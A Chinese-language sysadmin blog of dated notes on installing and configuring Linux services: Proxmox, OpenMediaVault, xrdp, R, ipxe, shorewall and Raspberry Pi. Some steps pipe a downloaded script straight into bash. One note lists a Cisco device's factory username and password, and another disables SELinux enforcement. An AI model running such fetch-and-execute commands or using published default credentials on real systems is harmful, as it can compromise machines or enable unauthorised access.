2021年12月29日 星期三

Oracle Linux 8.x 安裝 sshfs

dnf install https://kojipkgs.fedoraproject.org//packages/fuse-sshfs/3.5.1/1.fc29/x86_64/fuse-sshfs-3.5.1-1.fc29.x86_64.rpm

Oracle Linux 8.x 安裝 remmina

yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm

dnf install epel-release
dnf copr enable castor/remmina
dnf install 'remmina*'

Disable SELinux on Oracle Linux 7/8

編輯 /etc/sysconfig/selinux
SELINUX=permissive

相關指令
getenforce
setenforce
sestatus

2021年12月28日 星期二

自訂 Proxmox 7.x LXC template Oracle 8.x

#!/bin/bash

dst=/d1;
file0=/root/xx.tar.gz;
rpm="NetworkManager NetworkManager-libnm acl audit-libs basesystem bash bind-export-libs brotli bzip2-libs ca-certificates  chkconfig coreutils coreutils-common cracklib cracklib-dicts cronie cronie-noanacron crontabs crypto-policies cryptsetup-libs curl cyrus-sasl-lib dbus dbus-common dbus-daemon dbus-libs dbus-tools device-mapper device-mapper-libs dhcp-client dhcp-common dhcp-libs diffutils dnf dnf-data elfutils-debuginfod-client elfutils-default-yama-scope elfutils-libelf elfutils-libs expat file-libs filesystem findutils gawk gdbm gdbm-libs geolite2-city geolite2-country glib2 glibc glibc-all-langpacks glibc-common gmp gnupg2 gnupg2-smime gnutls gpg-pubkey gpgme grep gzip ima-evm-utils info initscripts ipcalc iproute iptables-libs iputils json-c keyutils-libs kmod-libs krb5-libs libacl libarchive libassuan libattr libblkid libcap libcap-ng libcom_err libcomps libcurl libdb libdb-utils libdnf libedit libestr libfastjson libfdisk libffi libgcc libgcrypt libgpg-error libidn2 libksba libmaxminddb libmetalink libmnl libmodulemd libmount libndp libnghttp2 libnsl2 libpcap libpsl libpwquality librepo libreport-filesystem libseccomp libselinux libselinux-utils libsemanage libsepol libsigsegv libsmartcols libsolv libssh libssh-config libstdc++ libtasn1 libtirpc libunistring libusbx libuser libutempter libuuid libverto libxcrypt libxml2 libyaml libzstd logrotate lua-libs lz4-libs mpfr ncurses ncurses-base ncurses-libs nettle npth openldap openssh openssh-clients openssh-server openssl openssl-libs openssl-pkcs11 p11-kit p11-kit-trust pam passwd pcre pcre2 platform-python platform-python-pip platform-python-setuptools policycoreutils popt procps-ng publicsuffix-list-dafsa python3-dnf python3-gpg python3-hawkey python3-libcomps python3-libdnf python3-libs python3-pip-wheel python3-rpm python3-setuptools-wheel readline rootfiles rpm rpm-build-libs rpm-libs rpm-plugin-systemd-inhibit rsyslog sed setup shadow-utils shared-mime-info sqlite-libs systemd systemd-libs systemd-pam trousers trousers-lib tzdata util-linux vim-minimal xz-libs yum zlib "

yum install -y --installroot ${dst} --releasever=8 oraclelinux-release;
cd $dst;
/usr/bin/cp -rpf /etc/yum.repos.d /etc/yum /etc/dnf/ ./etc/;
for i in $rpm;do 
yum install -y --installroot ${dst} --releasever=8 $i;
done;
:>${dst}/etc/sysconfig/network;
tar czvf ${file0} ./;
cd -;

Oracle Linux 7.x/8.x 安裝 xfce

yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
#yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm

yum update
yum repolist
yum grouplist
yum groupinstall "xfce"
systemctl set-default graphical.target

Oracle Linux realm: Couldn't join realm: Failed to join the domain

update-crypto-policies --set DEFAULT:AD-SUPPORT

2021年12月27日 星期一

Oracle Linux 7.x/8.x 安裝 xrdp

yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
#yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm

yum update
yum install -y xrdp

防火牆設定
sudo systemctl status firewalld.service
sudo systemctl enable firewalld.service
sudo systemctl start firewalld.service

sudo firewall-cmd --permanent --add-port=3389/tcp
sudo firewall-cmd --reload

2021年12月7日 星期二

CentOS7 更新 Systemd 234 支援 cgroup v2

wget https://copr.fedorainfracloud.org/coprs/jsynacek/systemd-backports-for-centos-7/repo/epel-7/jsynacek-systemd-backports-for-centos-7-epel-7.repo -O /etc/yum.repos.d/jsynacek-systemd-centos-7.repo

yum update systemd

查詢版本
systemctl --version

最新source 
https://github.com/systemd/systemd

2021年11月30日 星期二

Debian 11 XRDP :Authentication is required to create a color profile/managed device

編輯 /etc/polkit-1/localauthority.conf.d/02-allow-colord.conf

polkit.addRule(function(action, subject) {
 if ((action.id == "org.freedesktop.color-manager.create-device" ||
 action.id == "org.freedesktop.color-manager.create-profile" ||
 action.id == "org.freedesktop.color-manager.delete-device" ||
 action.id == "org.freedesktop.color-manager.delete-profile" ||
 action.id == "org.freedesktop.color-manager.modify-device" ||
 action.id == "org.freedesktop.color-manager.modify-profile") &&
 subject.isInGroup("{users}")) {
 return polkit.Result.YES;
 }
});

2021年11月16日 星期二

Debian 加速 R 函式庫

Optimized BLAS(Basic Linear Algebra Subprograms,基礎線性代數程式集)

apt install -y libopenblas-base libopenblas-dev

2021年11月15日 星期一

pbs2 無法執行 proxmox-backup-proxy.service

proxmox-backup-proxy[14785]: Error: unable to create rrdb stat dir - EACCES: Permission denied

mkdir -p /var/lib/proxmox-backup/rrdb
chown backup:backup /var/lib/proxmox-backup/rrdb

2021年11月10日 星期三

Debian resolvconf 筆記

apt install resolvconf

編輯 /etc/resolvconf/resolv.conf.d/head
nameserver 168.95.1.1
nameserver 8.8.8.8

debian 10,11 網路設定控制摘要

networking
相關設定檔 /etc/network/interfaces, /etc/network/interfaces.d/*
相關服務  networking

NetworkManager
相關設定檔 /etc/NetworkManager/*, /etc/NetworkManager/NetworkManager.conf
相關指令 nmcli, nmtui
相關服務 NetworkManager

停用 DNS 相關設定
編輯 /etc/NetworkManager/NetworkManager.conf
[main]
plugins=ifupdown,keyfile
dns=none
rc-manager=unmanaged

2021年10月26日 星期二

NextCloud 更改 Web admin 密碼

sudo -u www-data php /var/www/nextcloud/occ user:resetpassword admin

Openmediavault 6 cd 改由 ipxe 安裝

#!/bin/bash
iso=openmediavault_6.0-16-amd64.iso

_pwd=$(pwd);
mount ${iso} /mnt3
mkdir /tmp/mnt3;cd /tmp/mnt3
zcat /mnt3/install/initrd.gz |cpio -i
mkdir /tmp/mnt3/cdrom

cd /mnt3;find .|cpio -pamVd /tmp/mnt3/cdrom
cd /tmp/mnt3;find .|cpio -o -H newc |gzip -9 >${_pwd}/initrd.img
cp /mnt3/install/vmlinuz ${_pwd}/vmlinuz

rm -rf /tmp/mnt3;
cd ${_pwd};

grub 安裝異常,需重新安裝

參考資料 ipxe script
dhcp
kernel http://192.168.1.1/vmlinuz
initrd http://192.168.1.1/initrd.img
boot

b. Memdisk
set base <web address>
kernel ${base}/memdisk
initrd ${base}/<iso file name>
imgargs memdisk iso raw
boot

yum/rpm 更改安裝路徑

yum
--installroot 

rpm
--relocate, --prefix 

列出系統中所安裝的 R Package

!/bin/bash
#list  all  R  packages

for  i  in /home/*/R/x86_64-pc-linux-gnu-library/*/*  /usr/local/lib/R/site-library/*  /usr/lib/R/site-library/*  /usr/lib/R/library/*;  do  [  -e  "$i"  ]&&basename $i;done |sort|uniq

Proxmox VE 6.x 7.x 移除cluster

systemctl stop pve-cluster corosync
pmxcfs -l
rm /etc/corosync/*
rm /etc/pve/corosync.conf
killall pmxcfs
systemctl start pve-cluster

2021年10月5日 星期二

Debian 11 安裝 apache2 + cgi-bin

sudo apt-get install -y apache2
sudo ln -s /etc/apache2/mods-available/cgi.load /etc/apache2/mods-enabled/cgi.load

相關設定檔
/etc/apache2/conf-available/serve-cgi-bin.conf

測試 script
#!/bin/bash
echo -e "Content-type: text/html\n\n"
echo Hello World

2021年9月10日 星期五

Debian 11 修正 failed to execute child process "dbs-launch"(No such file or directory)

安裝  dbus-x11
apt-get install dbus-x11

FORTINET FortiSwitch 124F series 摘要

預設帳號 / 密碼  admin /

恢復預設值
execute factoryreset

預設 IP
192.168.1.1/24

COM 設定
Baud rate: 115200
Data bits: 8
Parity: None
Stop bits: 1
Flow control: None

mdadm rebuid 筆記

暫停 rebuid
echo "idle" > /sys/block/md0/md/sync_action

加速 rebuid
echo 500000 > /proc/sys/dev/raid/speed_limit_max

mdadm bitmap 相關指令
mdadm --grow --bitmap=internal /dev/md0
mdadm --grow --bitmap=none /dev/md0


相關檔案
/etc/sysctl.d/maxresync.conf  編輯
dev.raid.speed_limit_max = 10000

/etc/sysctl.conf 編輯
dev.raid.speed_limit_max = 51200

Debian 11 安裝 rsync daemon

apt install -y rsync
echo "port = 873" >/etc/rsyncd.conf

systemctl start rsync

modules 範例
/etc/rsyncd.conf
[rsync01]
path = /test01
uid = nobody
gid = users
list = yes
read only = no
write only = no
use chroot = yes
lock file = /run/lock/rsyncd-rsync01

Debian s.m.a.r.t gui 工具

https://github.com/ashaduri/gsmartcontrol
apt install -y gsmartcontrol

2021年8月30日 星期一

Debian 11 安裝 Proxmox ve 7

echo "deb [arch=amd64] http://download.proxmox.com/debian/pve bullseye pve-no-subscription" > /etc/apt/sources.list.d/pve-no-subscription.list

wget https://enterprise.proxmox.com/debian/proxmox-release-bullseye.gpg -O /etc/apt/trusted.gpg.d/proxmox-release-bullseye.gpg

apt update && apt full-upgrade
apt install proxmox-ve postfix open-iscsi

apt remove os-prober

apt remove linux-image-amd64 'linux-image-5.10*'
update-grub

參考
https://pve.proxmox.com/wiki/Install_Proxmox_VE_on_Debian_11_Bullseye

2021年8月27日 星期五

Debian 11 安裝 OpenMediaVault 6

cat <<EOF > /etc/apt/sources.list.d/openmediavault.list
deb http://packages.openmediavault.org/public shaitan main
# deb http://downloads.sourceforge.net/project/openmediavault/packages shaitan main
## Uncomment the following line to add software from the proposed repository.
# deb http://packages.openmediavault.org/public shaitan-proposed main
# deb http://downloads.sourceforge.net/project/openmediavault/packages shaitan-proposed main
## This software is not part of OpenMediaVault, but is offered by third-party
## developers as a service to OpenMediaVault users.
# deb http://packages.openmediavault.org/public shaitan partner
# deb http://downloads.sourceforge.net/project/openmediavault/packages shaitan partner
EOF

export LANG=C.UTF-8
export DEBIAN_FRONTEND=noninteractive
export APT_LISTCHANGES_FRONTEND=none
apt-get install --yes gnupg
wget -O "/etc/apt/trusted.gpg.d/openmediavault-archive-keyring.asc" https://packages.openmediavault.org/public/archive.key
apt-key add "/etc/apt/trusted.gpg.d/openmediavault-archive-keyring.asc"
apt-get update
apt-get --yes --auto-remove --show-upgraded \
    --allow-downgrades --allow-change-held-packages \
    --no-install-recommends \
    --option DPkg::Options::="--force-confdef" \
    --option DPkg::Options::="--force-confold" \
    install openmediavault-keyring openmediavault

# Populate the database.
omv-confdbadm populate

# Display the login information.
cat /etc/issue

# plugin
wget -O - https://github.com/OpenMediaVault-Plugin-Developers/packages/raw/master/install | bash

參考 https://forum.openmediavault.org/index.php?thread/39490-install-omv6-on-debian-11-bullseye/

其他相關指令
omv-salt deploy run nginx
omv-salt deploy run phpfpm

2021年8月26日 星期四

Proxmox Backup Server 2.x 安裝後設定

cat <<EOF > /etc/apt/sources.list.d/pbs-no-subscription.list
# PBS pbs-no-subscription repository provided by proxmox.com,
# NOT recommended for production use
deb http://download.proxmox.com/debian/pbs bullseye pbs-no-subscription
EOF

mv /etc/apt/sources.list.d/pbs-enterprise.list /etc/apt/sources.list.d/pbs-enterprise.list.bak

apt-get update
apt upgrade -y

apt-get install -y sudo ipmitool
apt-get install -y snmp snmpd libpve-apiclient-perl
apt-get install -y screen iperf busybox wget curl netcat kpartx

echo 'KERNEL=="sd[a-z]*", ENV[DEVTYPE]="disk", SYMLINK+="sata0/$env{ID_PATH_TAG}"'  >/etc/udev/rules.d/99-sata-hdd.rules

Proxmox ve zfs 更換硬碟

zpool status
zpool offline rpool /dev/錯誤硬碟
## shutdown install the new disk or replace the disks
sgdisk --replicate=/dev/新硬碟 /dev/正常硬碟
sgdisk --randomize-guids /dev/新硬碟
grub-install /dev/新硬碟
zpool replace rpool /dev/錯誤硬碟 /dev/新硬碟
zpool status  # => resilvering is working

2021年8月25日 星期三

Proxmox backup server 2.x 安裝 OpenMediaVault 6

# omv 6.x
cat <<EOF >> /etc/apt/sources.list.d/openmediavault.list
deb http://packages.openmediavault.org/public shaitan main
# deb http://downloads.sourceforge.net/project/openmediavault/packages shaitan main
## Uncomment the following line to add software from the proposed repository.
# deb http://packages.openmediavault.org/public shaitan-proposed main
# deb http://downloads.sourceforge.net/project/openmediavault/packages shaitan-proposed main
## This software is not part of OpenMediaVault, but is offered by third-party
## developers as a service to OpenMediaVault users.
# deb http://packages.openmediavault.org/public shaitan partner
# deb http://downloads.sourceforge.net/project/openmediavault/packages shaitan partner
EOF

export LANG=C.UTF-8
export DEBIAN_FRONTEND=noninteractive
export APT_LISTCHANGES_FRONTEND=none
apt-get install --yes gnupg
wget -O "/etc/apt/trusted.gpg.d/openmediavault-archive-keyring.asc" https://packages.openmediavault.org/public/archive.key
apt-key add "/etc/apt/trusted.gpg.d/openmediavault-archive-keyring.asc"
apt-get update
apt-get --yes --auto-remove --show-upgraded \
    --allow-downgrades --allow-change-held-packages \
    --no-install-recommends \
    --option DPkg::Options::="--force-confdef" \
    --option DPkg::Options::="--force-confold" \
    install openmediavault-keyring openmediavault

# Populate the database.
omv-confdbadm populate

# Display the login information.
cat /etc/issue

# plugin
wget -O - https://github.com/OpenMediaVault-Plugin-Developers/packages/raw/master/install | bash

Proxmox ve 7.x 安裝 Proxmox backup server 2.x

 cat <<EOF > /etc/apt/sources.list.d/pbs-no-subscription.list
# PBS pbs-no-subscription repository provided by proxmox.com,
# NOT recommended for production use
deb http://download.proxmox.com/debian/pbs bullseye pbs-no-subscription
EOF

apt-get update
apt-get install -y proxmox-backup-server

mv /etc/apt/sources.list.d/pbs-enterprise.list /etc/apt/sources.list.d/pbs-enterprise.list.bak

Proxmox VE 7.x 安裝後設定

 mv /etc/apt/sources.list.d/pve-enterprise.list /etc/apt/sources.list.d/pve-enterprise.list.bak
echo "deb [arch=amd64] http://download.proxmox.com/debian/pve bullseye pve-no-subscription" > /etc/apt/sources.list.d/pve-no-subscription.list
apt update
apt upgrade -y

apt-get install -y sudo ipmitool
apt-get install -y snmp snmpd libpve-apiclient-perl
apt-get install -y screen iperf busybox wget curl netcat kpartx

echo "options kvm-intel nested=Y" > /etc/modprobe.d/kvm-intel.conf
echo "options kvm-amd nested=1" > /etc/modprobe.d/kvm-amd.conf
modprobe -r kvm_intel;modprobe kvm_intel
modprobe -r kvm_amd;modprobe kvm_amd

echo 'KERNEL=="sd[a-z]*", ENV[DEVTYPE]="disk", SYMLINK+="sata0/$env{ID_PATH_TAG}"'  >/etc/udev/rules.d/99-sata-hdd.rules

2021年7月30日 星期五

Debian 10(LXC) 安裝 Openmediavault 5.x

apt update;apt upgrade -y

echo "deb https://packages.openmediavault.org/public usul main" >> /etc/apt/sources.list.d/omv5.list

apt update
apt install gnupg wget -y
export DEBIAN_FRONTEND=noninteractive
export APT_LISTCHANGES_FRONTEND=none
wget -O "/etc/apt/trusted.gpg.d/openmediavault-archive-keyring.asc" https://packages.openmediavault.org/public/archive.key
apt-key add "/etc/apt/trusted.gpg.d/openmediavault-archive-keyring.asc"
apt update

apt-get --yes --auto-remove --show-upgraded \
    --allow-downgrades --allow-change-held-packages \
    --no-install-recommends \
    --option Dpkg::Options::="--force-confdef" \
    --option DPkg::Options::="--force-confold" \
    install openmediavault-keyring openmediavault

omv-confdbadm populate

wget -O - https://github.com/OpenMediaVault-Plugin-Developers/packages/raw/master/install | bash

Mariadb Server 允許外部設備存取

編輯 /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address            = 0.0.0.0

Debian 安裝 RPM 軟體

安裝相關軟體 alien
apt-get install alien

安裝 RPM 軟體
alien -i package_file.rpm

轉換為 deb 格式
alien package_file.rpm

Linux 時間設定相關指令

date 

hwclock 

timedatectl

timedatectl list-timezones

timedatectl set-local-rtc boolean

timedatectl set-ntp boolean

timedatectl set-ntp yes

systemctl restart systemd-timedated.service

Linux 重新安裝 Grub

sudo mount -t ext4 /dev/sdXY /mnt
sudo mount --bind /dev /mnt/dev
sudo mount --bind /dev/pts /mnt/dev/pts
sudo mount --bind /proc /mnt/proc
sudo mount --bind /sys /mnt/sys
sudo chroot /mnt

grub-install /dev/sdX
grub-install --recheck /dev/sdX
update-grub

Linux VLAN 筆記

載入相關 module
modprobe 8021q

查看網路卡資訊
nmcli connection show
ip -d link show

建立 vlan 裝置
ip link add link ens192 name ens192.10 type vlan id 10

刪除 vlan 裝置
ip link delete ens192.10

設定 vlan 裝置 ip
ip addr add 1291.68.10.10/24 dev ens192.10

移除 vlan 裝置 ip
ip addr del 192.168.10.10/24 dev ens192.10

2021年6月18日 星期五

解決 R package is not available (for R version XXX)?

1.更新 R 版本

2.使用原始碼安裝
install.packages("package.tar.gz", repos=NULL)
install.packages("d:\package.zip", repos=NULL)

R CMD INSTALL package.tar.gz

Apache2 錯誤訊息 AH01630 Client Denied by Server Configuration Error

加入以下設定
Require all granted

pip 自訂來源

1.編輯 ~/.pip/pip.conf
[global]
index-url = https://aaa.bbb.ccc/simple
[install]
trusted-host = aaa.bbb.ccc

2.命令列指定
pip install xxx -i https://aaa.bbb.ccc/simple --trusted-host aaa.bbb.ccc

Python:/usr/bin/env: ‘python’: No such file or directory

ln -s `which python3` /usr/local/bin/python

LocationFree 個人搖控碼 Sony PSP 放置位置

LFA-PC20 & LFB10 or LFB20 個人化控制碼 Sony PSP 放置位置

\MSSONY\LF\RC_DATA\lfrmc_us.lfr
\MSSONY\LF\RC_DATA\UNIV0010.rcd

2021年5月30日 星期日

Debian apt upgrade 錯誤 E: Sub-process /usr/bin/dpkg returned an error code (1)

mv /var/lib/dpkg/info  /var/lib/dpkg/info.tmp
mkdir /var/lib/dpkg/info
apt-get update  
apt-get -f install  
rm -rf /var/lib/dpkg/info
mv /var/lib/dpkg/info.tmp /var/lib/dpkg/info

Linux Squashfs 相關套件

yum -y install squashfuse squashfs-tools
apt -y install squashfuse squashfs-tools

LXC可以使用 squashfuse 掛載

bash read 由變數讀取

 read a b < <(echo 12 345);echo $a $b

PLINK107 安裝

 !/bin/bash

# install PLINK 1.07
# https://zzz.bwh.harvard.edu/plink/download.shtml

src=https://zzz.bwh.harvard.edu/plink/dist/plink-1.07-x86_64.zip
target=/opt/PLINK107

[ $(which busybox) ]&& { for i in wget unzip;do [ -f "/usr/local/bin/${i}" ] || ln -s $(which busybox) /usr/local/bin/${i}; done; };

for i in unzip wget;do [ $(which ${i}) ]&& : || { echo check ${i}: not found ${i}! &&exit 1; } ;done;

[ -d "$target" ]&&mv ${target} ${target}.$(date +%Y-%m-%d-%H-%M);

mkdir -p $target;cd $target;

echo $target >readme.txt;echo $src >>readme.txt

wget -q -O- $src | unzip -;

chmod a+x plink;cd -;

for i in plink;do [ -f "/usr/local/bin/${i}" ]&&mv /usr/local/bin/${i} /usr/local/bin/${i}.$(date +%Y-%m-%d-%H-%M); ln -s ${target}/${i} /usr/local/bin/${i}07;done;


PLINK 1.90 安裝

 !/bin/bash
# install PLINK 1.90 beta
#https://www.cog-genomics.org/plink/

src=https://s3.amazonaws.com/plink1-assets/plink_linux_x86_64_20210606.zip
target=/opt/PLINK190b

[ $(which busybox) ]&& { for i in wget unzip;do [ -f "/usr/local/bin/${i}" ] || ln -s $(which busybox) /usr/local/bin/${i}; done; };

for i in unzip wget;do [ $(which ${i}) ]&& : || { echo check ${i}: not found ${i}! &&exit 1; } ;done;

[ -d "$target" ]&&mv ${target} ${target}.$(date +%Y-%m-%d-%H-%M);

mkdir -p $target;cd $target;

echo $target >readme.txt;echo $src >>readme.txt

wget -q -O- $src | unzip -;

chmod a+x plink;cd -;

for i in plink;do [ -f "/usr/local/bin/${i}" ]&&mv /usr/local/bin/${i} /usr/local/bin/${i}.$(date +%Y-%m-%d-%H-%M);   ln -s ${target}/${i} /usr/local/bin/${i};done;

2021年4月29日 星期四

Cisco NAV10V2-WF 預設帳號密碼

Cisco NAV10V2-WF 

帳號:telecomadmin
密碼:nE7jA%5m

2021年4月28日 星期三

Linux 硬體序號查詢

cat /sys/class/dmi/id/board_serial
dmidecode -s baseboard-serial-number

cat /sys/class/dmi/id/product_uuid
dmidecode -s system-uuid

cat /etc/machine-id

nginx load balance 設定筆記

/etc/nginx/sites-enabled/default

upstream myweb {
    server 192.168.232.1;
    server 192.168.232.2;
}


server {
        listen 80 default_server;
        listen [::]:80 default_server;

        root /var/www/html;

        # Add index.php to the list if you are using PHP
        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                try_files $uri $uri/ =404;
        }

        location /a {
        proxy_pass http://myweb;
        proxy_set_header   Host    $host;
        proxy_set_header   X-Real-IP   $remote_addr;
        proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;

        }
}

2021年4月27日 星期二

Proxmox ve 6.x LXC 安裝 cuda

查詢 host nvidia 驅動程式版本
nvidia-smi  (460.73.01)

增加 lxc 設定檔設定
lxc.cgroup.devices.allow: c 195:* rwm
lxc.cgroup.devices.allow: c 243:* rwm
lxc.mount.entry: /dev/nvidia0 dev/nvidia0 none bind,optional,create=file
lxc.mount.entry: /dev/nvidiactl dev/nvidiactl none bind,optional,create=file
lxc.mount.entry: /dev/nvidia-uvm dev/nvidia-uvm none bind,optional,create=file
lxc.mount.entry: /dev/nvidia-modeset dev/nvidia-modeset none bind,optional,create=file
lxc.mount.entry: /dev/nvidia-uvm-tools dev/nvidia-uvm-tools none bind,optional,create=file

安裝相關工具
apt install -y sudo gnupg gnupg2 gnupg1
apt-get install -y software-properties-common

根據 host 驅動程式版本安裝 cuda
sudo apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/debian10/x86_64/7fa2af80.pub
sudo add-apt-repository "deb https://developer.download.nvidia.com/compute/cuda/repos/debian10/x86_64/ /"
sudo add-apt-repository contrib
sudo apt-get update
apt-get install -y cuda-drivers=460.73.01-1
sudo apt-get -y install cuda

2021年4月26日 星期一

Proxmox VE 6.x 安裝 NVIDIA驅動程式

關閉 Nouveau

編輯 /etc/modprobe.d/blacklist-nouveau.conf

blacklist nouveau
options nouveau modeset=0

建立 initramfs
sudo update-initramfs -u
sudo reboot

安裝相關開發套件
apt -y install  pve-headers-`uname -r`
apt install make gcc aptitude

下載安裝驅動程式
https://tw.download.nvidia.com/XFree86/Linux-x86_64/418.88/NVIDIA-Linux-x86_64-418.88.run

相關指令
nvidia-smi

Linux 計算 圓周率

 time echo "scale=5000; 4*a(1)" | bc -l -q

ext4 異動 保留空間

查詢
tune2fs -l /dev/sde | egrep "Block size:|Reserved block count"

設定保留 1%
tune2fs -m 1 /dev/sde

2021年4月23日 星期五

指令列執行 R Script

Rscript aa.R

R CMD BATCH aa.R

2021年4月22日 星期四

Debian 限制 USB Network 裝置

安裝 usbguard
apt-get install -y usbguard

編輯 /etc/usbguard/rules.conf
block with-interface equals { 02:*:* }
block with-interface equals { 0A:*:* }
block with-interface equals { E0:*:* }
block with-interface equals { ff:*:* }
block name "USB 10/100/1000 LAN"
block name "USB 10/100 LAN"
allow

啟用服務
systemctl enable usbguard
systemctl start usbguard

相關指令
usbguard list-devices
usbguard list-rules

2021年4月21日 星期三

Debian 10 安裝 R 3.6.3/4.x

apt install -y dirmngr apt-transport-https ca-certificates software-properties-common gnupg2
apt-key adv --keyserver keys.gnupg.net --recv-key 'E19F5F87128899B192B1A2C2AD5F960A256A04AF'

add-apt-repository 'deb https://cloud.r-project.org/bin/linux/debian buster-cran35/'
#add-apt-repository 'deb https://cloud.r-project.org/bin/linux/debian buster-cran40/'

apt update
apt install r-base -y
R --version

相關檔案
/etc/apt/sources.list

2021年4月19日 星期一

debian 10 安裝 Proxmox Backup Server 1.x

wget http://download.proxmox.com/debian/proxmox-ve-release-6.x.gpg -O /etc/apt/trusted.gpg.d/proxmox-ve-release-6.x.gpg

echo "deb http://download.proxmox.com/debian/pbs buster pbs-no-subscription" >/etc/apt/sources.list.d/pbs-no-subscription.list
apt update
apt-get install proxmox-backup-server

2021年4月16日 星期五

ipxe + uefi 摘要

產生 UEFI ipxe
make bin-x86_64-efi/808610de.efirom
make bin-x86_64-efi/ipxe.efi

tftp、http server ip address 10.1.1.1
i.ipxe 內容
#!ipxe
ifopen || dhcp
set web http://10.1.1.1/
kernel ${web}/vmlinuz initrd=in
initrd ${web}/in
boot

dnsmadq.conf 內容
dhcp-match=set:ipxe,175
dhcp-boot=tag:!ipxe,ipxe.efi,pxeserver,10.1.1.1
dhcp-boot=http://10.1.1.1/i.ipxe

參考
https://ipxe.org/download

Linux 透過 uid 查詢 userid

id -un 1000

2021年4月9日 星期五

Proxmox 相關帳號檔案

proxmox backup
/etc/proxmox-backup

proxmox
/etc/pve/priv/storage
/etc/pve/user.cfg

2021年3月31日 星期三

zram 使用摘要

載入模組並設定 數量
modprobe zram num_devices=2

最大執行序(core數量相關)
/sys/block/zram0/max_comp_streams

設定演算法
cat /sys/block/zram0/comp_algorithm
echo lzo > /sys/block/zram0/comp_algorithm

設定容量大小
echo $((10*1024*1024)) > /sys/block/zram0/disksize
echo 256K > /sys/block/zram0/disksize
echo 512M > /sys/block/zram0/disksize
echo 1G > /sys/block/zram0/disksize

設定記憶體使用限制
echo $((10*1024*1024)) > /sys/block/zram0/mem_limit
echo 256K > /sys/block/zram0/mem_limit
echo 512M > /sys/block/zram0/mem_limit
echo 1G > /sys/block/zram0/mem_limit
# 不限制
echo 0 > /sys/block/zram0/mem_limit

其他相關指令
zramctl
cat /sys/class/zram-control/hot_add
echo 1 > /sys/class/zram-control/hot_remove
echo 1 > /sys/block/zram0/reset

2021年3月23日 星期二

OpenVPN 設定 Client 固定 IP 筆記

編輯 /etc/openvpn/server/server.conf 加入
client-config-dir /etc/openvpn/ccd

設定 憑證 CN = client  IP 為 10.1.1.1
echo "ifconfig-push 10.1.1.1 255.255.255.0" > /etc/openvpn/ccd/client

設定 憑證 CN = xxx  IP 為 10.1.1.2
echo "ifconfig-push 10.1.1.2 255.255.255.0" > /etc/openvpn/ccd/xxx

2021年3月20日 星期六

Raspberry pi zero Serial Gadget

 編輯 /boot/config.txt 加入
dtoverlay=dwc2

編輯 /boot/cmdline 加入
modules-load=dwc2,g_serial

console=serial0,115200 console=tty1 root=PARTUUID=738a4d67-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_serial

執行
sudo systemctl enable getty@ttyGS0.service

Linux 登入方式
screen /dev/ttyACM0 115200

2021年3月18日 星期四

Proxmox LXC 安裝 Openmediavault 筆記

編輯 /etc/pve/lxc/xxx.conf 加入
lxc.mount.auto: cgroup:rw
lxc.mount.auto: proc:rw
lxc.mount.auto: sys:rw

2021年3月16日 星期二

fbterm 摘要

安裝 fbterm
sudo apt-get install fbterm
adduser [user_name] video

設定檔
~/.fbtermrc

執行
fbterm -s 20

Fcitx 輸入法安裝
sudo apt-get install fcitx fcitx-chewing fcitx-frontend-fbterm

編輯 ~/.fbtermrc 修改 input method
input-method=fcitx-fbterm

shorewall nat to nat 摘要

編輯 /etc/shorewall/shorewall.conf
ADD_IP_ALIASES=Yes

編輯  /etc/shorewall/nat
111.222.333.444  eth0    192.168.1.1   no      no

編輯  /etc/shorewall/rules
DNAT:NFLOG(4)   net     dmz:192.168.1.1       tcp  443  -   111.222.333.444
DNAT:NFLOG(4)   net     dmz:192.168.1.1       tcp  80  -    111.222.333.444

2021年3月12日 星期五

Python pip 已版本錯誤訊息無法安裝更新

錯誤訊息
Cannot uninstall 'xxxxx'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.

解決方法
sudo pip install xxxxx --ignore-installed xxxxx

2021年3月8日 星期一

Raspberry pi 關閉 PPI display

fbcpid=$(ps aux|grep  [/]usr/local/bin/fbcp|awk '{print $2}');
kill $fbcpid 2>/dev/null;
case $? in 0) dtparam spi=off;dtparam spi=on;;
*) /usr/local/bin/fbcp & ;;
esac;
exit 0;

Linux Mdadm 新增硬碟摘要

mdadm --add /dev/md0 /dev/sdd1
mdadm --grow --raid-devices=4 /dev/md0

e2fsck -f /dev/md0
resize2fs /dev/md0

shorewall maclist 摘要

編輯 /etc/shorewall/interfaces
net             eth0                    dhcp
loc             eth1                    dhcp,maclist

編輯 /etc/shorewall/maclist
ACCEPT          eth1                    00:11:22:33:44:55

Raspberry pi 音效設定

設定 raspi-config
System Options->Audio

修改 /boot/config.txt 確認
hdmi_drive=2

Paspberry pi 4 使用 gpio 筆記

1.wiringPi updated to 2.52 for the Raspberry Pi 4B
wget https://project-downloads.drogon.net/wiringpi-latest.deb
sudo dpkg -i wiringpi-latest.deb

2.update RPi.GPIO
pip install --ignore-installed RPi.GPIO

2021年2月20日 星期六

ipxe筆記

 module 載入檔案大小為 0,無法正常執行

2021年2月17日 星期三

shorewall dnat 錯誤訊息

shorewall DNAT錯誤訊息
Preparing iptables-restore input...
Running /sbin/iptables-restore --wait 60...
iptables-restore v1.8.5 (legacy): unknown option "--to-destination"
Error occurred at line: 35
Try `iptables-restore -h' or 'iptables-restore --help' for more information.
   ERROR: iptables-restore Failed. Input is in /var/lib/shorewall/.iptables-restore-input
Terminated

解決方法
重新開機

2021年2月14日 星期日

Raspberry pi 自動登入更改帳號

修改
/etc/systemd/system/getty@tty1.service.d/autologin.conf

Raspberry pi USB 自動掛載

安裝軟體
apt install usbmount -y
 
修改 /lib/systemd/system/systemd-udevd.service
[Service]
PrivateMounts=no
 
執行
systemctl daemon-reload
systemctl restart systemd-udevd

2021年2月8日 星期一

Raspberry Geekworm 2.2 LCD 設定摘要

LCD 驅動程式
sudo rpi-update
wget https://raw.githubusercontent.com/geekworm-com/22LCD-script/master/screen_setup.sh
chmod +x screen_setup.sh
